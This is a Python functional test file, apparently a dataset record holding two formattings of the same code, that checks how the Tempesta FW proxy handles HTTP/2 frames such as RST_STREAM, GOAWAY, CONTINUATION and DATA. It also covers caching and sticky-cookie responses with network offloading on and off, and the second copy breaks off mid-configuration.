self.assertFalse(client.connection_is_closed())\n\n def test_continuation_frame(self):\n \"\"\"Tempesta must handle CONTINUATION frame.\"\"\"\n self.start_all_services()\n client: deproxy_client.DeproxyClientH2 = self.get_client('deproxy')\n client.update_initial_settings()\n client.send_bytes(client.h2_connection.data_to_send())\n client.h2_connection.clear_outbound_data_buffer()\n client.send_request(request=self.get_request + [('qwerty', 'x' * \n 5000) for _ in range(4)], expected_status_code='200')\n self.assertFalse(client.connection_is_closed())\n\n def test_rst_frame_in_request(self):\n \"\"\"\n Tempesta must handle RST_STREAM frame and close stream but other streams MUST work.\n \"\"\"\n client = self.get_client('deproxy')\n self.start_all_services()\n self.initiate_h2_connection(client)\n client.make_request(request=self.post_request, end_stream=False)\n client.stream_id = 3\n client.make_request(request=self.post_request, end_stream=False)\n client.h2_connection.reset_stream(stream_id=1, error_code=0)\n client.send_bytes(client.h2_connection.data_to_send())\n client.send_request('qwe', '200')\n client.stream_id = 5\n client.send_request(self.post_request, '200')\n self.assertFalse(client.connection_is_closed(),\n 'Tempesta closed connection after receiving RST_STREAM.')\n\n def test_rst_frame_in_response(self):\n \"\"\"\n When Tempesta returns RST_STREAM:\n - open streams must not be closed;\n - new streams must be accepted.\n \"\"\"\n client = self.get_client('deproxy')\n client.parsing = False\n self.start_all_services()\n self.initiate_h2_connection(client)\n client.make_request(request=self.post_request, end_stream=False)\n stream_with_rst = 3\n client.stream_id = stream_with_rst\n client.send_request(self.get_request + [('x-forwarded-for',\n '1.1.1.1.1.1')], '400')\n client.make_request(self.get_request, end_stream=True)\n client.wait_for_response(3)\n client.stream_id = 1\n client.make_request('body', end_stream=True)\n client.wait_for_response(3)\n self.assertRaises(StreamClosedError, client.h2_connection.\n _get_stream_by_id, stream_with_rst)\n self.assertFalse(client.connection_is_closed(),\n 'Tempesta closed connection after sending RST_STREAM.')\n\n def test_rst_stream_with_id_0(self):\n \"\"\"\n RST_STREAM frames MUST be associated with a stream. If a RST_STREAM frame\n is received with a stream identifier of 0x00, the recipient MUST treat this\n as a connection error (Section 5.4.1) of type PROTOCOL_ERROR.\n RFC 9113 6.4\n \"\"\"\n client = self.get_client('deproxy')\n self.start_all_services()\n self.initiate_h2_connection(client)\n client.send_bytes(\n b'\\x00\\x00\\x04\\x03\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00')\n self.assertTrue(client.wait_for_connection_close(1),\n 'Tempesta did not close connection after receiving RST_STREAM with id 0.'\n )\n self.assertIn(ErrorCodes.PROTOCOL_ERROR, client.error_codes)\n\n def test_goaway_frame_in_response(self):\n \"\"\"\n Tempesta must:\n - close all streams for connection error (GOAWAY);\n - return last_stream_id.\n\n There is an inherent race condition between an endpoint starting new streams\n and the remote peer sending a GOAWAY frame. To deal with this case, the GOAWAY\n contains the stream identifier of the last peer-initiated stream that was or\n might be processed on the sending endpoint in this connection. For instance,\n if the server sends a GOAWAY frame, the identified stream is the highest-numbered\n stream initiated by the client.\n RFC 9113 6.8\n \"\"\"\n client = self.get_client('deproxy')\n self.start_all_services()\n self.initiate_h2_connection(client)\n for stream_id in range(1, 6, 2):\n client.stream_id = stream_id\n client.make_request(request=self.post_request, end_stream=False)\n client.send_bytes(b'\\x00\\x00\\x03\\x00\\x01\\x00\\x00\\x00\\x00asd')\n self.assertTrue(client.wait_for_connection_close(3),\n 'Tempesta did not send GOAWAY frame.')\n self.assertIn(ErrorCodes.PROTOCOL_ERROR, client.error_codes)\n self.assertEqual(client.last_stream_id, stream_id,\n 'Tempesta returned invalid last_stream_id in GOAWAY frame.')\n\n def test_goaway_frame_in_request(self):\n \"\"\"\n Tempesta must not close connection after receiving GOAWAY frame.\n\n GOAWAY allows an endpoint to gracefully stop accepting new streams while still\n finishing processing of previously established streams.\n RFC 9113 6.8\n \"\"\"\n client = self.get_client('deproxy')\n self.start_all_services()\n self.initiate_h2_connection(client)\n for stream_id in range(1, 6, 2):\n client.stream_id = stream_id\n client.make_request(request=self.post_request, end_stream=False)\n client.send_bytes(\n b'\\x00\\x00\\x08\\x07\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\x01'\n )\n for stream_id in range(1, 6, 2):\n client.stream_id = stream_id\n client.make_request(request='asd', end_stream=True)\n self.assertTrue(client.wait_for_response(),\n 'Tempesta closed connection after receiving GOAWAY frame.')\n\n def test_double_header_frame_in_single_stream(self):\n client = self.get_client('deproxy')\n self.start_all_services()\n self.initiate_h2_connection(client)\n client.make_request(self.post_request, end_stream=False)\n client.make_request([('header1', 'header value1')], end_stream=True)\n self.assertTrue(client.wait_for_connection_close())\n self.assertIn(ErrorCodes.PROTOCOL_ERROR, client.error_codes)\n\n def __assert_test(self, client, request_body: str, request_number: int):\n server = self.get_server('deproxy')\n self.assertTrue(client.wait_for_response(timeout=5))\n self.assertEqual(client.last_response.status, '200')\n self.assertEqual(len(server.requests), request_number)\n checks.check_tempesta_request_and_response_stats(tempesta=self.\n get_tempesta(), cl_msg_received=request_number,\n cl_msg_forwarded=request_number, srv_msg_received=\n request_number, srv_msg_forwarded=request_number)\n error_msg = 'Malformed request from Tempesta.'\n self.assertEqual(server.last_request.method, self.post_request[3][1\n ], error_msg)\n self.assertEqual(server.last_request.headers['host'], self.\n post_request[0][1], error_msg)\n self.assertEqual(server.last_request.uri, self.post_request[1][1],\n error_msg)\n self.assertEqual(server.last_request.body, request_body)\n\n\nclass TestH2FrameEnabledDisabledTsoGroGsoBase(H2Base):\n\n def setup_tests(self):\n self.start_all_services()\n client = self.get_client('deproxy')\n server = self.get_server('deproxy')\n client.update_initial_settings(header_table_size=512)\n client.send_bytes(client.h2_connection.data_to_send())\n client.wait_for_ack_settings()\n return client, server\n\n\nDEFAULT_MTU = 1500\n\n\nclass TestH2FrameEnabledDisabledTsoGroGso(\n TestH2FrameEnabledDisabledTsoGroGsoBase, NetWorker):\n\n def test_headers_frame_with_continuation(self):\n client, server = self.setup_tests()\n self.run_test_tso_gro_gso_disabled(client, server, self.\n _test_headers_frame_with_continuation, DEFAULT_MTU)\n self.run_test_tso_gro_gso_enabled(client, server, self.\n _test_headers_frame_with_continuation, DEFAULT_MTU)\n\n def test_headers_frame_without_continuation(self):\n client, server = self.setup_tests()\n self.run_test_tso_gro_gso_disabled(client, server, self.\n _test_headers_frame_without_continuation, DEFAULT_MTU)\n self.run_test_tso_gro_gso_enabled(client, server, self.\n _test_headers_frame_without_continuation, DEFAULT_MTU)\n\n def test_data_frame(self):\n client, server = self.setup_tests()\n self.run_test_tso_gro_gso_disabled(client, server, self.\n _test_data_frame, DEFAULT_MTU)\n self.run_test_tso_gro_gso_enabled(client, server, self.\n _test_data_frame, DEFAULT_MTU)\n\n def test_headers_frame_for_local_resp_invalid_req_d(self):\n client, server = self.setup_tests()\n self.run_test_tso_gro_gso_disabled(client, server, self.\n _test_headers_frame_for_local_resp_invalid_req, DEFAULT_MTU)\n\n def test_headers_frame_for_local_resp_invalid_req_e(self):\n client, server = self.setup_tests()\n self.run_test_tso_gro_gso_enabled(client, server, self.\n _test_headers_frame_for_local_resp_invalid_req, DEFAULT_MTU)\n\n def _test_headers_frame_for_local_resp_invalid_req(self, client, server):\n client.send_request(request=[HeaderTuple(':authority', 'bad.com'),\n HeaderTuple(':path', '/'), HeaderTuple(':scheme', 'https'),\n HeaderTuple(':method', 'GET')], expected_status_code='403')\n\n def _test_data_frame(self, client, server):\n self._test_headers_data_frames(client, server, 50000, 100000)\n\n def _test_headers_frame_with_continuation(self, client, server):\n self._test_headers_data_frames(client, server, 50000, 0)\n\n def _test_headers_frame_without_continuation(self, client, server):\n self._test_headers_data_frames(client, server, 1000, 0)\n\n def _test_headers_data_frames(self, client, server, header_len, body_len):\n header = 'qwerty', 'x' * header_len\n server.set_response('HTTP/1.1 200 OK\\r\\n' + 'Date: test\\r\\n' +\n f'Server: debian\\r\\n{header[0]}: {header[1]}\\r\\n' +\n f'Content-Length: {body_len}\\r\\n\\r\\n' + 'x' * body_len)\n client.make_request(self.post_request)\n client.wait_for_response(5)\n self.assertFalse(client.connection_is_closed())\n self.assertEqual(client.last_response.status, '200',\n 'Status code mismatch.')\n self.assertIsNotNone(client.last_response.headers.get(header[0]))\n self.assertEqual(len(client.last_response.headers.get(header[0])),\n len(header[1]))\n self.assertEqual(len(client.last_response.body), body_len,\n 'Tempesta did not return full response body.')\n\n\nclass TestH2FrameEnabledDisabledTsoGroGsoStickyCookie(\n TestH2FrameEnabledDisabledTsoGroGsoBase, NetWorker):\n tempesta = {'config':\n \"\"\"\n listen 443 proto=h2;\n srv_group default {\n server ${server_ip}:8000;\n }\n vhost v_good {\n proxy_pass default;\n sticky {\n sticky_sessions;\n cookie enforce;\n secret \"f00)9eR59*_/22\";\n }\n }\n tls_certificate ${tempesta_workdir}/tempesta.crt;\n tls_certificate_key ${tempesta_workdir}/tempesta.key;\n tls_match_any_server_name;\n cache 1;\n cache_fulfill * *;\n block_action attack reply;\n block_action error reply;\n http_chain {\n host == \"bad.com\" -> block;\n host == \"example.com\" -> v_good;\n }\n \"\"\"\n }\n\n def test_headers_frame_for_local_resp_sticky_cookie_short(self):\n client, server = self.setup_tests()\n self.run_test_tso_gro_gso_disabled(client, server, self.\n _test_headers_frame_for_local_resp_sticky_cookie_short, DEFAULT_MTU\n )\n self.run_test_tso_gro_gso_enabled(client, server, self.\n _test_headers_frame_for_local_resp_sticky_cookie_short, DEFAULT_MTU\n )\n\n def test_headers_frame_for_local_resp_sticky_cookie_long(self):\n client, server = self.setup_tests()\n self.run_test_tso_gro_gso_disabled(client, server, self.\n _test_headers_frame_for_local_resp_sticky_cookie_long, DEFAULT_MTU)\n self.run_test_tso_gro_gso_enabled(client, server, self.\n _test_headers_frame_for_local_resp_sticky_cookie_long, DEFAULT_MTU)\n\n def _test_headers_frame_for_local_resp_sticky_cookie_short(self, client,\n server):\n self._test_headers_frame_for_local_resp_sticky_cookie(client,\n server, 1000, 0)\n\n def _test_headers_frame_for_local_resp_sticky_cookie_long(self, client,\n server):\n self._test_headers_frame_for_local_resp_sticky_cookie(client,\n server, 50000, 50000)\n\n def _test_headers_frame_for_local_resp_sticky_cookie(self, client,\n server, header_len, body_len):\n header = 'qwerty', 'x' * header_len\n server.set_response('HTTP/1.1 200 OK\\r\\n' + 'Date: test\\r\\n' +\n f'Server: debian\\r\\n{header[0]}: {header[1]}\\r\\n' +\n f'Content-Length: {body_len}\\r\\n\\r\\n' + 'x' * body_len)\n client.send_request(request=self.post_request, expected_status_code\n ='302')\n self.post_request.append(HeaderTuple('Cookie', client.last_response\n .headers['set-cookie']))\n client.send_request(request=self.post_request, expected_status_code\n ='200')\n self.post_request.pop()\n\n\nclass TestH2FrameEnabledDisabledTsoGroGsoCache(\n TestH2FrameEnabledDisabledTsoGroGsoBase, NetWorker):\n tempesta = {'config':\n \"\"\"\n listen 443 proto=h2;\n srv_group default {\n server ${server_ip}:8000;\n }\n vhost v_good {\n proxy_pass default;\n }\n tls_certificate ${tempesta_workdir}/tempesta.crt;\n tls_certificate_key ${tempesta_workdir}/tempesta.key;\n tls_match_any_server_name;\n cache 1;\n cache_fulfill * *;\n cache_methods GET;\n block_action attack reply;\n block_action error reply;\n http_chain {\n host == \"bad.com\" -> block;\n host == \"example.com\" -> v_good;\n }\n \"\"\"\n }\n\n def test_headers_frame_for_local_resp_cache_304_short(self):\n client, server = self.setup_tests()\n self.run_test_tso_gro_gso_disabled(client, server, self.\n _test_headers_frame_for_local_resp_cache_304_short, DEFAULT_MTU)\n self.run_test_tso_gro_gso_enabled(client, server, self.\n _test_headers_frame_for_local_resp_cache_304_short, DEFAULT_MTU)\n\n def test_headers_frame_for_local_resp_cache_200_short(self):\n client, server = self.setup_tests()\n self.run_test_tso_gro_gso_disabled(client, server, self.\n _test_headers_frame_for_local_resp_cache_200_short, DEFAULT_MTU)\n self.run_test_tso_gro_gso_enabled(client, server, self.\n _test_headers_frame_for_local_resp_cache_200_short, DEFAULT_MTU)\n\n def test_headers_frame_for_local_resp_cache_304_long(self):\n client, server = self.setup_tests()\n self.run_test_tso_gro_gso_disabled(client, server, self.\n _test_headers_frame_for_local_resp_cache_304_long, DEFAULT_MTU)\n self.run_test_tso_gro_gso_enabled(client, server, self.\n _test_headers_frame_for_local_resp_cache_304_long, DEFAULT_MTU)\n\n def test_headers_frame_for_local_resp_cache_200_long(self):\n client, server = self.setup_tests()\n self.run_test_tso_gro_gso_disabled(client, server, self.\n _test_headers_frame_for_local_resp_cache_200_long, DEFAULT_MTU)\n self.run_test_tso_gro_gso_enabled(client, server, self.\n _test_headers_frame_for_local_resp_cache_200_long, DEFAULT_MTU)\n\n def _test_headers_frame_for_local_resp_cache_304_short(self, client, server\n ):\n self._test_headers_frame_for_local_resp_cache(client, server, 1000,\n 0, 'Mon, 12 Dec 2024 13:59:39 GMT', '304')\n\n def _test_headers_frame_for_local_resp_cache_200_short(self, client, server\n ):\n self._test_headers_frame_for_local_resp_cache(client, server, 1000,\n 0, 'Mon, 12 Dec 2020 13:59:39 GMT', '200')\n\n def _test_headers_frame_for_local_resp_cache_304_long(self, client, server\n ):\n self._test_headers_frame_for_local_resp_cache(client, server, 50000,\n 100000, 'Mon, 12 Dec 2024 13:59:39 GMT', '304')\n\n def _test_headers_frame_for_local_resp_cache_200_long(self, client, server\n ):\n self._test_headers_frame_for_local_resp_cache(client, server, 50000,\n 100000, 'Mon, 12 Dec 2020 13:59:39 GMT', '200')\n\n def _test_headers_frame_for_local_resp_cache(self, client, server,\n header_len, body_len, date, status_code):\n header = 'qwerty', 'x' * header_len\n server.set_response('HTTP/1.1 200 OK\\r\\n' + 'Date: test\\r\\n' +\n f'Server: debian\\r\\n{header[0]}: {header[1]}\\r\\n' +\n f'Content-Length: {body_len}\\r\\n\\r\\n' + 'x' * body_len)\n headers = [HeaderTuple(':authority', 'example.com'), HeaderTuple(\n ':path', '/'), HeaderTuple(':scheme', 'https'), HeaderTuple(\n ':method', 'GET')]\n client.send_request(request=headers, expected_status_code='200')\n headers.append(HeaderTuple('if-modified-since', date))\n client.send_request(request=headers, expected_status_code=status_code)\n", "step-5": "\"\"\"Functional tests for h2 frames.\"\"\"\n\n__author__ = \"Tempesta Technologies, Inc.\"\n__copyright__ = \"Copyright (C) 2023 Tempesta Technologies, Inc.\"\n__license__ = \"GPL2\"\n\nfrom h2.errors import ErrorCodes\nfrom h2.exceptions import StreamClosedError\n\nfrom framework import deproxy_client, tester\nfrom helpers import checks_for_tests as checks\nfrom http2_general.helpers import H2Base\nfrom helpers.networker import NetWorker\nfrom hpack import HeaderTuple\n\n\nclass TestH2Frame(H2Base):\n def test_data_framing(self):\n \"\"\"Send many 1 byte frames in request.\"\"\"\n self.start_all_services()\n deproxy_cl = self.get_client(\"deproxy\")\n deproxy_cl.parsing = False\n request_body = \"x\" * 100\n\n deproxy_cl.make_request(request=self.post_request, end_stream=False)\n for byte in request_body[:-1]:\n deproxy_cl.make_request(request=byte, end_stream=False)\n deproxy_cl.make_request(request=request_body[-1], end_stream=True)\n\n self.__assert_test(client=deproxy_cl, request_body=request_body, request_number=1)\n\n def test_empty_last_data_frame(self):\n \"\"\"\n Send request with empty last data frame. It is valid request. RFC 9113 6.9.1.\n \"\"\"\n self.start_all_services()\n deproxy_cl = self.get_client(\"deproxy\")\n deproxy_cl.parsing = False\n request_body = \"123\"\n\n deproxy_cl.make_request(request=self.post_request, end_stream=False)\n deproxy_cl.make_request(request=request_body, end_stream=False)\n deproxy_cl.make_request(request=\"\", end_stream=True)\n\n self.__assert_test(client=deproxy_cl, request_body=request_body, request_number=1)\n\n def test_empty_data_frame(self):\n \"\"\"\n Send request with empty data frame. It is valid request. RFC 9113 10.5.\n \"\"\"\n self.start_all_services()\n deproxy_cl = self.get_client(\"deproxy\")\n deproxy_cl.parsing = False\n request_body = \"123\"\n\n deproxy_cl.make_request(request=self.post_request, end_stream=False)\n deproxy_cl.make_request(request=\"\", end_stream=False)\n deproxy_cl.make_request(request=request_body, end_stream=True)\n\n self.__assert_test(client=deproxy_cl, request_body=request_body, request_number=1)\n\n def test_settings_frame(self):\n \"\"\"\n Create tls connection and send preamble + correct settings frame.\n Tempesta must accept settings and return settings + ack settings frames.\n Then client send ack settings frame and Tempesta must correctly accept it.\n \"\"\"\n self.start_all_services(client=True)\n\n client: deproxy_client.DeproxyClientH2 = self.get_client(\"deproxy\")\n\n # initiate_connection() generates preamble + settings frame with default variables\n self.initiate_h2_connection(client)\n\n # send empty setting frame with ack flag.\n client.send_bytes(client.h2_connection.data_to_send())\n client.h2_connection.clear_outbound_data_buffer()\n\n # send header frame after exchanging settings and make sure\n # that connection is open.\n client.send_request(self.post_request, \"200\")\n\n def test_window_update_frame(self):\n \"\"\"Tempesta must handle WindowUpdate frame.\"\"\"\n self.start_all_services(client=True)\n\n client: deproxy_client.DeproxyClientH2 = self.get_client(\"deproxy\")\n\n # add preamble + settings frame with SETTING_INITIAL_WINDOW_SIZE = 65535\n client.update_initial_settings()\n\n # send preamble + settings frame\n client.send_bytes(client.h2_connection.data_to_send())\n client.h2_connection.clear_outbound_data_buffer()\n self.assertTrue(client.wait_for_ack_settings())\n\n # send WindowUpdate frame with window size increment = 5000\n client.h2_connection.increment_flow_control_window(5000)\n client.send_bytes(client.h2_connection.data_to_send())\n client.h2_connection.clear_outbound_data_buffer()\n\n # send header frame after sending WindowUpdate and make sure\n # that connection is working correctly.\n client.send_request(self.get_request, \"200\")\n self.assertFalse(client.connection_is_closed())\n\n def test_continuation_frame(self):\n \"\"\"Tempesta must handle CONTINUATION frame.\"\"\"\n self.start_all_services()\n\n client: deproxy_client.DeproxyClientH2 = self.get_client(\"deproxy\")\n\n client.update_initial_settings()\n client.send_bytes(client.h2_connection.data_to_send())\n client.h2_connection.clear_outbound_data_buffer()\n\n # H2Connection separates headers to HEADERS + CONTINUATION frames\n # if they are larger than 16384 bytes\n client.send_request(\n request=self.get_request + [(\"qwerty\", \"x\" * 5000) for _ in range(4)],\n expected_status_code=\"200\",\n )\n\n self.assertFalse(client.connection_is_closed())\n\n def test_rst_frame_in_request(self):\n \"\"\"\n Tempesta must handle RST_STREAM frame and close stream but other streams MUST work.\n \"\"\"\n client = self.get_client(\"deproxy\")\n\n self.start_all_services()\n self.initiate_h2_connection(client)\n\n # client opens streams with id 1, 3 and does not close them\n client.make_request(request=self.post_request, end_stream=False)\n client.stream_id = 3\n client.make_request(request=self.post_request, end_stream=False)\n\n # client send RST_STREAM frame with NO_ERROR code in stream 1 and\n # Tempesta closes it for itself.\n client.h2_connection.reset_stream(stream_id=1, error_code=0)\n client.send_bytes(client.h2_connection.data_to_send())\n\n # Client send DATA frame in stream 3 and it MUST receive response\n client.send_request(\"qwe\", \"200\")\n\n # Tempesta allows creating new streams.\n client.stream_id = 5\n client.send_request(self.post_request, \"200\")\n\n self.assertFalse(\n client.connection_is_closed(), \"Tempesta closed connection after receiving RST_STREAM.\"\n )\n\n def test_rst_frame_in_response(self):\n \"\"\"\n When Tempesta returns RST_STREAM:\n - open streams must not be closed;\n - new streams must be accepted.\n \"\"\"\n client = self.get_client(\"deproxy\")\n client.parsing = False\n\n self.start_all_services()\n self.initiate_h2_connection(client)\n\n # client opens stream with id 1 and does not close it\n client.make_request(request=self.post_request, end_stream=False)\n\n # client send invalid request and Tempesta returns RST_STREAM\n stream_with_rst = 3\n client.stream_id = stream_with_rst\n client.send_request(self.get_request + [(\"x-forwarded-for\", \"1.1.1.1.1.1\")], \"400\")\n\n # client open new stream\n client.make_request(self.get_request, end_stream=True)\n client.wait_for_response(3)\n\n # client send DATA frame in stream 1 and it must be open.\n client.stream_id = 1\n client.make_request(\"body\", end_stream=True)\n client.wait_for_response(3)\n\n self.assertRaises(\n StreamClosedError, client.h2_connection._get_stream_by_id, stream_with_rst\n )\n self.assertFalse(\n client.connection_is_closed(), \"Tempesta closed connection after sending RST_STREAM.\"\n )\n\n def test_rst_stream_with_id_0(self):\n \"\"\"\n RST_STREAM frames MUST be associated with a stream. If a RST_STREAM frame\n is received with a stream identifier of 0x00, the recipient MUST treat this\n as a connection error (Section 5.4.1) of type PROTOCOL_ERROR.\n RFC 9113 6.4\n \"\"\"\n client = self.get_client(\"deproxy\")\n\n self.start_all_services()\n self.initiate_h2_connection(client)\n\n # send RST_STREAM with id 0\n client.send_bytes(b\"\\x00\\x00\\x04\\x03\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\")\n\n self.assertTrue(\n client.wait_for_connection_close(1),\n \"Tempesta did not close connection after receiving RST_STREAM with id 0.\",\n )\n self.assertIn(ErrorCodes.PROTOCOL_ERROR, client.error_codes)\n\n def test_goaway_frame_in_response(self):\n \"\"\"\n Tempesta must:\n - close all streams for connection error (GOAWAY);\n - return last_stream_id.\n\n There is an inherent race condition between an endpoint starting new streams\n and the remote peer sending a GOAWAY frame. To deal with this case, the GOAWAY\n contains the stream identifier of the last peer-initiated stream that was or\n might be processed on the sending endpoint in this connection. For instance,\n if the server sends a GOAWAY frame, the identified stream is the highest-numbered\n stream initiated by the client.\n RFC 9113 6.8\n \"\"\"\n client = self.get_client(\"deproxy\")\n\n self.start_all_services()\n self.initiate_h2_connection(client)\n\n # Client opens many streams and does not close them\n for stream_id in range(1, 6, 2):\n client.stream_id = stream_id\n client.make_request(request=self.post_request, end_stream=False)\n\n # Client send DATA frame with stream id 0.\n # Tempesta MUST return GOAWAY frame with PROTOCOL_ERROR\n client.send_bytes(b\"\\x00\\x00\\x03\\x00\\x01\\x00\\x00\\x00\\x00asd\")\n\n self.assertTrue(client.wait_for_connection_close(3), \"Tempesta did not send GOAWAY frame.\")\n self.assertIn(ErrorCodes.PROTOCOL_ERROR, client.error_codes)\n self.assertEqual(\n client.last_stream_id,\n stream_id,\n \"Tempesta returned invalid last_stream_id in GOAWAY frame.\",\n )\n\n def test_goaway_frame_in_request(self):\n \"\"\"\n Tempesta must not close connection after receiving GOAWAY frame.\n\n GOAWAY allows an endpoint to gracefully stop accepting new streams while still\n finishing processing of previously established streams.\n RFC 9113 6.8\n \"\"\"\n client = self.get_client(\"deproxy\")\n\n self.start_all_services()\n self.initiate_h2_connection(client)\n\n # Client opens many streams and does not close them\n for stream_id in range(1, 6, 2):\n client.stream_id = stream_id\n client.make_request(request=self.post_request, end_stream=False)\n\n # Client send GOAWAY frame with PROTOCOL_ERROR as bytes\n # because `_terminate_connection` method changes state machine to closed\n client.send_bytes(b\"\\x00\\x00\\x08\\x07\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\x01\")\n\n # Client sends frames in already open streams.\n # Tempesta must handle these frames and must not close streams,\n # because sender closes connection, but not receiver.\n for stream_id in range(1, 6, 2):\n client.stream_id = stream_id\n client.make_request(request=\"asd\", end_stream=True)\n\n self.assertTrue(\n client.wait_for_response(), \"Tempesta closed connection after receiving GOAWAY frame.\"\n )\n\n def test_double_header_frame_in_single_stream(self):\n client = self.get_client(\"deproxy\")\n\n self.start_all_services()\n self.initiate_h2_connection(client)\n\n client.make_request(self.post_request, end_stream=False)\n client.make_request([(\"header1\", \"header value1\")], end_stream=True)\n\n self.assertTrue(client.wait_for_connection_close())\n self.assertIn(ErrorCodes.PROTOCOL_ERROR, client.error_codes)\n\n def __assert_test(self, client, request_body: str, request_number: int):\n server = self.get_server(\"deproxy\")\n\n self.assertTrue(client.wait_for_response(timeout=5))\n self.assertEqual(client.last_response.status, \"200\")\n self.assertEqual(len(server.requests), request_number)\n checks.check_tempesta_request_and_response_stats(\n tempesta=self.get_tempesta(),\n cl_msg_received=request_number,\n cl_msg_forwarded=request_number,\n srv_msg_received=request_number,\n srv_msg_forwarded=request_number,\n )\n error_msg = \"Malformed request from Tempesta.\"\n self.assertEqual(server.last_request.method, self.post_request[3][1], error_msg)\n self.assertEqual(server.last_request.headers[\"host\"], self.post_request[0][1], error_msg)\n self.assertEqual(server.last_request.uri, self.post_request[1][1], error_msg)\n self.assertEqual(server.last_request.body, request_body)\n\n\nclass TestH2FrameEnabledDisabledTsoGroGsoBase(H2Base):\n def setup_tests(self):\n self.start_all_services()\n client = self.get_client(\"deproxy\")\n server = self.get_server(\"deproxy\")\n\n client.update_initial_settings(header_table_size=512)\n client.send_bytes(client.h2_connection.data_to_send())\n client.wait_for_ack_settings()\n\n return client, server\n\n\nDEFAULT_MTU = 1500\n\n\nclass TestH2FrameEnabledDisabledTsoGroGso(TestH2FrameEnabledDisabledTsoGroGsoBase, NetWorker):\n def test_headers_frame_with_continuation(self):\n client, server = self.setup_tests()\n self.run_test_tso_gro_gso_disabled(\n client, server, self._test_headers_frame_with_continuation, DEFAULT_MTU\n )\n self.run_test_tso_gro_gso_enabled(\n client, server, self._test_headers_frame_with_continuation, DEFAULT_MTU\n )\n\n def test_headers_frame_without_continuation(self):\n client, server = self.setup_tests()\n self.run_test_tso_gro_gso_disabled(\n client, server, self._test_headers_frame_without_continuation, DEFAULT_MTU\n )\n self.run_test_tso_gro_gso_enabled(\n client, server, self._test_headers_frame_without_continuation, DEFAULT_MTU\n )\n\n def test_data_frame(self):\n client, server = self.setup_tests()\n self.run_test_tso_gro_gso_disabled(client, server, self._test_data_frame, DEFAULT_MTU)\n self.run_test_tso_gro_gso_enabled(client, server, self._test_data_frame, DEFAULT_MTU)\n\n def test_headers_frame_for_local_resp_invalid_req_d(self):\n client, server = self.setup_tests()\n self.run_test_tso_gro_gso_disabled(\n client, server, self._test_headers_frame_for_local_resp_invalid_req, DEFAULT_MTU\n )\n\n def test_headers_frame_for_local_resp_invalid_req_e(self):\n client, server = self.setup_tests()\n self.run_test_tso_gro_gso_enabled(\n client, server, self._test_headers_frame_for_local_resp_invalid_req, DEFAULT_MTU\n )\n\n def _test_headers_frame_for_local_resp_invalid_req(self, client, server):\n client.send_request(\n request=[\n HeaderTuple(\":authority\", \"bad.com\"),\n HeaderTuple(\":path\", \"/\"),\n HeaderTuple(\":scheme\", \"https\"),\n HeaderTuple(\":method\", \"GET\"),\n ],\n expected_status_code=\"403\",\n )\n\n def _test_data_frame(self, client, server):\n self._test_headers_data_frames(client, server, 50000, 100000)\n\n def _test_headers_frame_with_continuation(self, client, server):\n self._test_headers_data_frames(client, server, 50000, 0)\n\n def _test_headers_frame_without_continuation(self, client, server):\n self._test_headers_data_frames(client, server, 1000, 0)\n\n def _test_headers_data_frames(self, client, server, header_len, body_len):\n header = (\"qwerty\", \"x\" * header_len)\n server.set_response(\n \"HTTP/1.1 200 OK\\r\\n\" + \"Date: test\\r\\n\" + \"Server: debian\\r\\n\"\n f\"{header[0]}: {header[1]}\\r\\n\"\n + f\"Content-Length: {body_len}\\r\\n\\r\\n\"\n + (\"x\" * body_len)\n )\n\n client.make_request(self.post_request)\n client.wait_for_response(5)\n\n self.assertFalse(client.connection_is_closed())\n self.assertEqual(client.last_response.status, \"200\", \"Status code mismatch.\")\n self.assertIsNotNone(client.last_response.headers.get(header[0]))\n self.assertEqual(len(client.last_response.headers.get(header[0])), len(header[1]))\n self.assertEqual(\n len(client.last_response.body), body_len, \"Tempesta did not return full response body.\"\n )\n\n\nclass TestH2FrameEnabledDisabledTsoGroGsoStickyCookie(\n TestH2FrameEnabledDisabledTsoGroGsoBase, NetWorker\n):\n tempesta = {\n \"config\": \"\"\"\n listen 443 proto=h2;\n srv_group default {\n server ${server_ip}:8000;\n }\n vhost v_good {\n proxy_pass default;\n sticky {\n sticky_sessions;\n cookie enforce;\n secret \"f00)9eR59*_/22\";\n }\n }\n tls_certificate ${tempesta_workdir}/tempesta.crt;\n tls_certificate_key ${tempesta_workdir}/tempesta.key;\n tls_match_any_server_name;\n cache 1;\n cache_fulfill * *;\n block_action attack reply;\n block_action error reply;\n http_chain {\n host == \"bad.com\" -> block;\n host == \"example.com\" -> v_good;\n }\n \"\"\"\n }\n\n def test_headers_frame_for_local_resp_sticky_cookie_short(self):\n client, server = self.setup_tests()\n self.run_test_tso_gro_gso_disabled(\n client, server, self._test_headers_frame_for_local_resp_sticky_cookie_short, DEFAULT_MTU\n )\n self.run_test_tso_gro_gso_enabled(\n client, server, self._test_headers_frame_for_local_resp_sticky_cookie_short, DEFAULT_MTU\n )\n\n def test_headers_frame_for_local_resp_sticky_cookie_long(self):\n client, server = self.setup_tests()\n self.run_test_tso_gro_gso_disabled(\n client, server, self._test_headers_frame_for_local_resp_sticky_cookie_long, DEFAULT_MTU\n )\n self.run_test_tso_gro_gso_enabled(\n client, server, self._test_headers_frame_for_local_resp_sticky_cookie_long, DEFAULT_MTU\n )\n\n def _test_headers_frame_for_local_resp_sticky_cookie_short(self, client, server):\n self._test_headers_frame_for_local_resp_sticky_cookie(client, server, 1000, 0)\n\n def _test_headers_frame_for_local_resp_sticky_cookie_long(self, client, server):\n self._test_headers_frame_for_local_resp_sticky_cookie(client, server, 50000, 50000)\n\n def _test_headers_frame_for_local_resp_sticky_cookie(\n self, client, server, header_len, body_len\n ):\n header = (\"qwerty\", \"x\" * header_len)\n server.set_response(\n \"HTTP/1.1 200 OK\\r\\n\" + \"Date: test\\r\\n\" + \"Server: debian\\r\\n\"\n f\"{header[0]}: {header[1]}\\r\\n\"\n + f\"Content-Length: {body_len}\\r\\n\\r\\n\"\n + (\"x\" * body_len)\n )\n\n client.send_request(request=self.post_request, expected_status_code=\"302\")\n self.post_request.append(HeaderTuple(\"Cookie\", client.last_response.headers[\"set-cookie\"]))\n client.send_request(request=self.post_request, expected_status_code=\"200\")\n self.post_request.pop()\n\n\nclass TestH2FrameEnabledDisabledTsoGroGsoCache(TestH2FrameEnabledDisabledTsoGroGsoBase, NetWorker):\n tempesta = {\n \"config\": \"\"\"\n listen 443 proto=h2;\n srv_group default {\n server 